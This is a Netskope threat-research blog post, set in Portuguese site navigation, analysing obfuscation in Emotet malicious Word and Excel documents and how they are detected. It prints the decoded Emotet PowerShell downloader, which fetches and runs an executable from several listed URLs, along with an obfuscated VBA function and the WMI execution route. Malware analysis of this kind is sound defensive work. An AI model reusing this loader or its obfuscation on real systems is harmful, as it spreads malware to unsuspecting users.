A Netskope estreia como líder no Quadrante Mágico™ do Gartner® para Single-Vendor SASE Obtenir le rapport

fechar
fechar
  • Por que Netskope chevron

    Mudando a forma como a rede e a segurança trabalham juntas.

  • Nossos clientes chevron

    A Netskope atende a mais de 3.400 clientes em todo o mundo, incluindo mais de 30 das empresas da Fortune 100

  • Nossos parceiros chevron

    Fazemos parceria com líderes de segurança para ajudá-lo a proteger sua jornada para a nuvem.

Um Líder em SSE.
E agora Líder em Single-Vendor SASE.

Descubra por que a Netskope estreou como líder no Quadrante Mágico™ do Gartner® para Single-Vendor SASE

Obtenha o Relatório
Destaques de clientes visionários

Read how innovative customers are successfully navigating today’s changing networking & security landscape through the Netskope One platform.

Baixe o eBook
Destaques de clientes visionários
A estratégia de comercialização da Netskope, focada em Parcerias, permite que nossos Parceiros maximizem seu crescimento e lucratividade enquanto transformam a segurança corporativa.

Saiba mais sobre os parceiros da Netskope
Group of diverse young professionals smiling
Sua Rede do Amanhã

Planeje seu caminho rumo a uma rede mais rápida, segura e resiliente projetada para os aplicativos e usuários aos quais você oferece suporte.

Receba o whitepaper
Sua Rede do Amanhã
Apresentando a plataforma Netskope One

O Netskope One é uma plataforma nativa da nuvem que oferece serviços convergentes de segurança e rede para permitir sua transformação SASE e zero trust.

Saiba mais sobre o Netskope One
Abstrato com iluminação azul
Adote uma arquitetura Secure Access Service Edge (SASE)

O Netskope NewEdge é a maior nuvem privada de segurança de alto desempenho do mundo e oferece aos clientes cobertura de serviço, desempenho e resiliência inigualáveis.

Conheça a NewEdge
NewEdge
Netskope Cloud Exchange

O Cloud Exchange (CE) da Netskope oferece aos clientes ferramentas de integração poderosas para tirar proveito dos investimentos em estratégias de segurança.

Saiba mais sobre o Cloud Exchange
Vídeo da Netskope
A plataforma do futuro é a Netskope

Intelligent Security Service Edge (SSE), Cloud Access Security Broker (CASB), Cloud Firewall, Next Generation Secure Web Gateway (SWG) e Private Access for ZTNA integrados nativamente em uma única solução para ajudar todas as empresas em sua jornada para o Secure Access Service Arquitetura de borda (SASE).

Vá para a plataforma
Vídeo da Netskope
Next Gen SASE Branch é híbrida — conectada, segura e automatizada

Netskope Next Gen SASE Branch converge o Context-Aware SASE Fabric, Zero-Trust Hybrid Security e SkopeAI-Powered Cloud Orchestrator em uma oferta de nuvem unificada, inaugurando uma experiência de filial totalmente modernizada para empresas sem fronteiras.

Saiba mais sobre Next Gen SASE Branch
Pessoas no escritório de espaço aberto
Desenvolvendo uma Arquitetura SASE para Leigos

Obtenha sua cópia gratuita do único guia de planejamento SASE que você realmente precisará.

Baixe o eBook
Mude para serviços de segurança na nuvem líderes de mercado com latência mínima e alta confiabilidade.

Conheça a NewEdge
Lighted highway through mountainside switchbacks
Permita com segurança o uso de aplicativos generativos de IA com controle de acesso a aplicativos, treinamento de usuários em tempo real e a melhor proteção de dados da categoria.

Saiba como protegemos o uso de IA generativa
Ative com segurança o ChatGPT e a IA generativa
Soluções de zero trust para a implementação de SSE e SASE

Conheça o Zero Trust
Boat driving through open sea
Netskope obtém alta autorização do FedRAMP

Escolha o Netskope GovCloud para acelerar a transformação de sua agência.

Saiba mais sobre o Netskope GovCloud
Netskope GovCloud
  • Recursos chevron

    Saiba mais sobre como a Netskope pode ajudá-lo a proteger sua jornada para a nuvem.

  • Blog chevron

    Saiba como a Netskope permite a transformação da segurança e da rede por meio do SSE (Security Service Edge)

  • Eventos e workshops chevron

    Esteja atualizado sobre as últimas tendências de segurança e conecte-se com seus pares.

  • Security Defined chevron

    Tudo o que você precisa saber em nossa enciclopédia de segurança cibernética.

Podcast Security Visionaries

A convergência das funções de CIO & CISO
Junte-se ao apresentador Max Havey no último episódio de Security Visionaries, quando ele se reúne com a convidada Jadee Hanson, CISO da Vanta.

Reproduzir o podcast
A convergência das funções de CIO & CISO
Últimos blogs

Leia como a Netskope pode viabilizar a jornada Zero Trust e SASE por meio de recursos de borda de serviço de segurança (SSE).

Leia o Blog
Sunrise and cloudy sky
SASE Week 2023: Sua jornada SASE começa agora!

Replay das sessões da quarta SASE Week anual.

Explorar sessões
SASE Week 2023
O que é SASE?

Saiba mais sobre a futura convergência de ferramentas de redes e segurança no modelo predominante e atual de negócios na nuvem.

Saiba mais sobre a SASE
  • Empresa chevron

    Ajudamos você a antecipar os desafios da nuvem, dos dados e da segurança da rede.

  • Liderança chevron

    Nossa equipe de liderança está fortemente comprometida em fazer tudo o que for preciso para tornar nossos clientes bem-sucedidos.

  • Customer Solutions chevron

    Estamos aqui junto com você a cada passo da sua trajetória, assegurando seu sucesso com a Netskope.

  • Treinamento e certificação chevron

    Os treinamentos da Netskope vão ajudar você a ser um especialista em segurança na nuvem.

Apoiando a sustentabilidade por meio da segurança de dados

A Netskope tem o orgulho de participar da Visão 2045: uma iniciativa destinada a aumentar a conscientização sobre o papel da indústria privada na sustentabilidade.

Saiba mais
Apoiando a sustentabilidade por meio da segurança de dados
Pensadores, construtores, sonhadores, inovadores. Juntos, fornecemos soluções de segurança na nuvem de última geração para ajudar nossos clientes a proteger seus dados e seu pessoal.

Conheça nossa equipe
Group of hikers scaling a snowy mountain
A talentosa e experiente equipe de Serviços Profissionais da Netskope fornece uma abordagem prescritiva para sua implementação bem sucedida.

Conheça os Serviços Profissionais
Netskope Professional Services
Proteja sua jornada de transformação digital e aproveite ao máximo seus aplicativos de nuvem, web e privados com o treinamento da Netskope.

Saiba mais sobre Treinamentos e Certificações
Group of young professionals working

You Can Run, But You Can’t Hide: Detecting Malicious Office Documents

Oct 08 2020

Summary

Malicious Microsoft Office documents are a popular vehicle for malware distribution. Malware families such as Emotet, IcedID, and Dridex use Office documents as their primary distribution mechanism. Several recent Emotet attacks used a novel approach to sending email baits and hosted the malicious documents in cloud apps to increase their success.  

At Netskope, we apply a hybrid approach to malicious Office document detection that leverages a combination of heuristics and supervised machine learning to identify malicious code embedded in documents. From August 1st through September 23rd, Netskope’s Advanced Threat platform detected downloads of multiple zero-day Emotet samples distributed as Office document files targeting multiple Netskope customers. The samples revealed a trend of increasingly advanced obfuscation techniques being used to evade signature-based threat detection. This blog post describes the obfuscation techniques used in those samples, the details of which are listed in the IOC section at the end of this post.

Multi-layered obfuscation

Emotet Office document samples are typically Microsoft Excel spreadsheets or Microsoft Word documents that use WMI (Windows Management Instrumentation) and PowerShell to connect to their C&C servers and download their next stage payloads, which have included TrickBot, QBot, and Ryuk. In this section, we explain how the four Emoted samples listed in the IOC section hide their usage of these windows utilities by obfuscating their VBA code in multiple layers. Multi-layered obfuscation is a tool used by attackers to generate new Emotet documents that evade detection by signature-based AV software. We will use example code extracted from the sample e9afe010343209a2a0f2eb5ec56cdacc throughout this post.

The following sections describe three obfuscation techniques used in these samples:

  • Constructing a PowerShell script at runtime
  • Constructing WMI namespaces at runtime
  • VBA logic obfuscation

Constructing a PowerShell script at runtime

Each of the samples hides the fact that it includes a malicious PowerShell script by constructing the script from an obfuscated string at runtime. The VBA code uses the InlineShapes object to construct the script as follows. The local variable Lauos9455c_0jekm is assigned a value extracted from the  AlternativeText property of an image embedded in the document. The screenshot below shows this code in the debugger, including a preview of the AlternativeText which begins 62378623.

Screenshot showing this code in the debugger, which includes a preview of the AlternativeText which begins 62378623.

The following screenshot shows a larger snippet of the AlternativeText, which is the encoded PowerShell script.

Screenshot showing a larger snippet of the AlternativeText, which is the encoded PowerShell script.

At runtime, the alternative text is decoded to the PowerShell script below:

$Qky_zcr=('Oj'+('ba'+'44')+'1');
&('new'+'-item') $enV:usERprofILE\ix_U0eE\Da3Ipfv\ -itemtype DirECtory;
[Net.ServicePointManager]::"SEcUrit`y`pRotO`CoL" = (('tls12'+','+' ')+'tl'+'s'+'11'+(','+' tls'));
$P4d5bdi = (('Av'+'b')+('jjxx'+'_')+'b');
$Nldikqi=('E'+('2p'+'j7'+'jg'));
$Cf_yl7r=$env:userprofile+(('{0}Ix_'+('u0'+'ee')+'{0}Da3i'+'pf'+'v{0'+'}') -f[char]92)+$P4d5bdi+('.'+('ex'+'e'));
$Zzddnnl=('F'+'5d'+('l'+'o_y'));
$X474fy2=&('n'+'ew-obje'+'ct') NeT.webcLiENt;
$Qa9w58w=(('htt'+'p://'+'rese')+('ller-'+'de'+'m')+'o-'+'we'+'bs'+'i'+'te'+'.c'+'o'+'m/'+('di'+'scus')+('s'+'ion/qWWf'+'8F')+('S'+'/*'+'htt')+('ps'+'://w')+'ww'+('.m'+'o'+'ckdumps.c')+'om'+'/'+('t'+'est/'+'Z2pJ/*'+'h')+'tt'+('ps:'+'/')+('/t'+'wi')+('s'+'te')+('rp'+'ri')+('nt'+'.')+('co'+'m'+'/chro')+('me'+'the')+('me/V'+'cr'+'/*')+('h'+'tt')+('p://'+'s')+'im'+('u'+'la')+('tio'+'ns.or'+'g')+'/'+('rw_c'+'om')+('mo'+'n/'+'Kf')+'X2'+('MW/*htt'+'p:/'+'/p'+'la')+'n'+'o'+('s'+'des'+'audese'+'mc')+'a'+'re'+'nc'+'ia'+'.'+'co'+('m/'+'erros/')+'J'+('Ho'+'q/*ht'+'tp')+'s:'+('//viaje'+'-a')+('c'+'hina.')+'c'+'om'+('/wp'+'-')+('ad'+'mi'+'n/A1O8t')+'L'+('/'+'*ht')+('tps'+':/')+('/ce'+'ar')+('acul'+'tura'+'l'+'.'+'com.b')+('r/'+'t')+'u'+('r'+'is'+'mo/oy/'))."SpL`iT"([char]42);
$Y6tgzl_=('Un'+('w0m3'+'1'));
foreach($Wken8ig in $Qa9w58w){try{$X474fy2."d`ownLoadfi`Le"($Wken8ig, $Cf_yl7r);
$Ccx080r=(('Ad'+'bqm8')+'b');
If ((&('G'+'et-'+'Item') $Cf_yl7r)."lE`NgTH" -ge 23800) {&('In'+'voke'+'-Item')($Cf_yl7r);
$Tla1_sz=(('N'+'k_3m')+'yp');
Break;
$Ihmn14_=('J'+'f'+('wk'+'uj8'))}}catch{}}$K7wqzcd=('Y'+('joyro'+'y'))

When executed, the script will download the next stage payload from the Internet using the WebClient Class of .Net Framework and execute it using Invoke-Item. The URLs from which it downloads the payloads are also obfuscated, referred to by the $Qa9w58w variable.

Constructing WMI namespaces at runtime

The Emotet samples execute the obfuscated PowerShell scripts using the winmgmt WMI service. To hide the fact that it uses WMI, the sample e9afe010343209a2a0f2eb5ec56cdacc constructs the WMI prefix from the obfuscated string beginning 62378 in the screenshot below.

Screenshot showing obfuscated PowerShell script sample, hiding the fact that it uses WMI.

After execution, this string is decoded to winmgmts:win32_Process as shown in the following screenshot.

Screenshot showing string decoded to winmgmts:win32_Process

Next, the VBA script uses the winmgmts:win32_Process class to execute the PowerShell script. 

VBA logic obfuscation

So far, we have illustrated how the VBA code reconstructs and executes an obfuscated PowerShell script at runtime using WMI. You may have also noticed in the screenshots that the VBA script itself is obfuscated. Each of these samples includes VBA logic obfuscation, which complicates the code to make analysis more difficult. One of the techniques used declares unused variables, redundant function calls, and multiple loops to hide the true function of the code. The following function G__1rwyai__jm7o1 contains 130 lines of code, with only three lines that provide any actual functionality.  Those lines are highlighted in red. The rest of the code acts as a no-op.

Function G__1rwyai__jm7o1(Muso_es0hyn6noj)
On Error Resume Next
Set NBJKS = Languages
IdRWRqkldA = Mid _
((Ikf58e3q9ip7zwotaz + Ssvt4yiusol), 232, 2)
WBHjwhzz = Mid _
((I4pd7b4xle7y0w + R5iuan37o22ng), 127, 2)
lqoNo = Mid _
((Pkbw5ddktssib1vx + Ohov2j5lbu8anezw01), 230, 1)
lizKwNK = Mid _
((Vcesgnk2c3lcl25gg + C6bhk3uhkgn5xd_24), 43, 2)
pFiWhmDdQ = Mid _
((Lziiqt3t1rwjt0s57 + Vw3n00denjficu902r), 109, 1)
Set ouOHId = Languages
BPEqdkHsb = Mid _
((Wpsq3ccwaxpl4he + Fdd1jelftnrpblvhbj), 61, 2)
BJTsW = Mid _
((Mlfak8nds09 + B0x27y2l2dm9o), 83, 1)
ZowKPs = Mid _
((Quzchktgywbd458 + Vhvaqqpvzuk), 226, 1)
hTwmLzb = Mid _
((Hn0iw1j4pp2y56laz4 + Yo1kfmofhfdny_v8k), 242, 2)
Set nioObds = Languages
VZJjLFS = IdRWRqkldA + WBHjwhzz + lqoNo + lizKwNK + pFiWhmDdQ + BPEqdkHsb + BJTsW + ZowKPs + hTwmLzb
EYCoQrOrZl = Mid _
((Vrdudxoq9hvfp78y + Ouc57iucylcdy), 70, 1)
MwMDn = VZJjLFS + EYCoQrOrZl
Qxkjmji8kru6j6qg = CleanString(Muso_es0hyn6noj)
Set NBJKS = Languages
IdRWRqkldA = Mid _
((C_iv4t8cj873ulf + Y9yg8d127bzs), 232, 2)
WBHjwhzz = Mid _
((Osri3jj1bmue + Qbnzw5l5bck8ya), 127, 2)
lqoNo = Mid _
((Mz25p71ppu4b7 + Xwecpryohq7hot), 230, 1)
lizKwNK = Mid _
((Eldj_jnv1zx8x0 + V3plfrg5jtwd), 43, 2)
pFiWhmDdQ = Mid _
((I0irg_ii148itbo + Uvapbxd3co0_r6), 109, 1)
Set ouOHId = Languages
BPEqdkHsb = Mid _
((Jg6j3qf1y19d_tcw + Uqr9wyrz6qo4aj), 61, 2)
BJTsW = Mid _
((Wbtcy3w9x6n1dtdj + Utgbo43sov9), 83, 1)
ZowKPs = Mid _
((T9xrgi0__9yhs5di0n + Thobsc1ri3uk), 226, 1)
hTwmLzb = Mid _
((R9792j8kfka6 + Ztu1uuaqf4n7eor21), 242, 2)
Set nioObds = Languages
VZJjLFS = IdRWRqkldA + WBHjwhzz + lqoNo + lizKwNK + pFiWhmDdQ + BPEqdkHsb + BJTsW + ZowKPs + hTwmLzb
EYCoQrOrZl = Mid _
((Lxstv9grzr6w + Jhxch9tiak2tftbw6q), 70, 1)
MwMDn = VZJjLFS + EYCoQrOrZl
O59swm8t67fn_x = Split(Qxkjmji8kru6j6qg, "62378")
Set NBJKS = Languages
IdRWRqkldA = Mid _
((Ng1idf5vqshp + Atjmbgzhzbsh), 232, 2)
WBHjwhzz = Mid _
((Hywah732l6v_2yhzf + Dv0eg7xhmy95eiaj), 127, 2)
lqoNo = Mid _
((D_pllxq1zznltssul + Q6gr1o_td5r1n0), 230, 1)
lizKwNK = Mid _
((Ub11p59soshj85 + Kk56nozykbm3), 43, 2)
pFiWhmDdQ = Mid _
((Qi0mo52q458uzn3 + Ned19oh8svcdnpzcbo), 109, 1)
Set ouOHId = Languages
BPEqdkHsb = Mid _
((Eu67dc1wr9kzb9z38 + Bwjbb552ydoe), 61, 2)
BJTsW = Mid _
((Nlswqyj_yh31_i8bg + R35_4wdsbcmoxime), 83, 1)
ZowKPs = Mid _
((Julieyjoormcw81so + J_ts7s0xhyjvuo6r), 226, 1)
hTwmLzb = Mid _
((M6quevwof3ppfx8 + N_ej6y4ksqwe), 242, 2)
Set nioObds = Languages
VZJjLFS = IdRWRqkldA + WBHjwhzz + lqoNo + lizKwNK + pFiWhmDdQ + BPEqdkHsb + BJTsW + ZowKPs + hTwmLzb
EYCoQrOrZl = Mid _
((X0hfnix0gip8e21th + Amnbo2hy5cf), 70, 1)
MwMDn = VZJjLFS + EYCoQrOrZl
W1a_z4cnkx8pbs = Gnhgnzg5etzb + Join(O59swm8t67fn_x, Jmiiqnw195iem4r2i0)
Set NBJKS = Languages
IdRWRqkldA = Mid _
((K3kozfmj1mc_1rhhk8 + Kgqme01ng9rb), 232, 2)
WBHjwhzz = Mid _
((Nvpmkb1ogxvwhxnwr + S0zr59qfp_3fmj), 127, 2)
lqoNo = Mid _
((Hqec79jh5it62 + In3zr3ddc3r8ew2wak), 230, 1)
lizKwNK = Mid _
((I8giuwtq37ikc + Gdwar7shhonv04yq), 43, 2)
pFiWhmDdQ = Mid _
((Gjtpaffhd0ll + Vrph7tewup5e), 109, 1)
Set ouOHId = Languages
BPEqdkHsb = Mid _
((U60y14ly_buki9r4 + Xh7_u8g29fmwz5), 61, 2)
BJTsW = Mid _
((Hlnljqjt_u5q79yv + Ugtxj1i0384x_blh), 83, 1)
ZowKPs = Mid _
((A8ugu0xz7p2ql5juz + Nlbbwfmrtr7attia9), 226, 1)
hTwmLzb = Mid _
((Brji70nkssrdtdki4 + U0kp5dpg478hhl7rti), 242, 2)
Set nioObds = Languages
VZJjLFS = IdRWRqkldA + WBHjwhzz + lqoNo + lizKwNK + pFiWhmDdQ + BPEqdkHsb + BJTsW + ZowKPs + hTwmLzb
EYCoQrOrZl = Mid _
((Hqcymx6_q932k1m + Ysxxg4zfsnkk), 70, 1)
MwMDn = VZJjLFS + EYCoQrOrZl
G__1rwyai__jm7o1 = W1a_z4cnkx8pbs
Set NBJKS = Languages
IdRWRqkldA = Mid _
((Updjczqkaz5e_opj2 + Vq_k0wkqa9lyl4), 232, 2)
WBHjwhzz = Mid _
((Fvf2_4simhhyturi5 + Bk73tqr_xzt), 127, 2)
lqoNo = Mid _
((Inak35kt3vmiyc2927 + Ssvkt0qczj_g41o), 230, 1)
lizKwNK = Mid _
((Vyj4y0lmq9ydq1uj2 + Vr3dsmm3wj3p), 43, 2)
pFiWhmDdQ = Mid _
((Njh8jrd72gj5vkm + Zz2py79d2f9q7nb), 109, 1)
Set ouOHId = Languages
BPEqdkHsb = Mid _
((Aof6j4k3xkdktk8 + Zfwub_7xmdf), 61, 2)
BJTsW = Mid _
((Ox_nfz4hfsn + K03n4yvrj7r2), 83, 1)
ZowKPs = Mid _
((Mtbtssfxghak1e5r + Xs4qfchs6ztz6zgj), 226, 1)
hTwmLzb = Mid _
((Qg2yx_hui23dct2_ + Z_9lnq5ax5x0lt6), 242, 2)
Set nioObds = Languages
VZJjLFS = IdRWRqkldA + WBHjwhzz + lqoNo + lizKwNK + pFiWhmDdQ + BPEqdkHsb + BJTsW + ZowKPs + hTwmLzb
EYCoQrOrZl = Mid _
((Csy2bjsw88m + L4g3zm1hlmk28y), 70, 1)
MwMDn = VZJjLFS + EYCoQrOrZl
End Function

Netskope detection

Netskope Advanced Threat Protection provides proactive coverage against zero-day samples of Emotet and other malicious Office documents using both our ML and heuristic-based static analysis engines and our cloud sandbox. The following screenshot shows the detection for ca8512504aab7157566842560e3840af, indicating it was detected by both the heuristic engine and the sandbox.

Screenshot showing the detection for ca8512504aab7157566842560e3840af, indicating it was detected by both the heuristic engine and the sandbox.

Furthermore, Netskope Advanced Threat Protection also extracts the process flow graph. In the following example, you can see that the Word document used WMI to execute a PowerShell script, which in-turn downloaded and executed the next-stage payload, r_o2c8hj4.exe.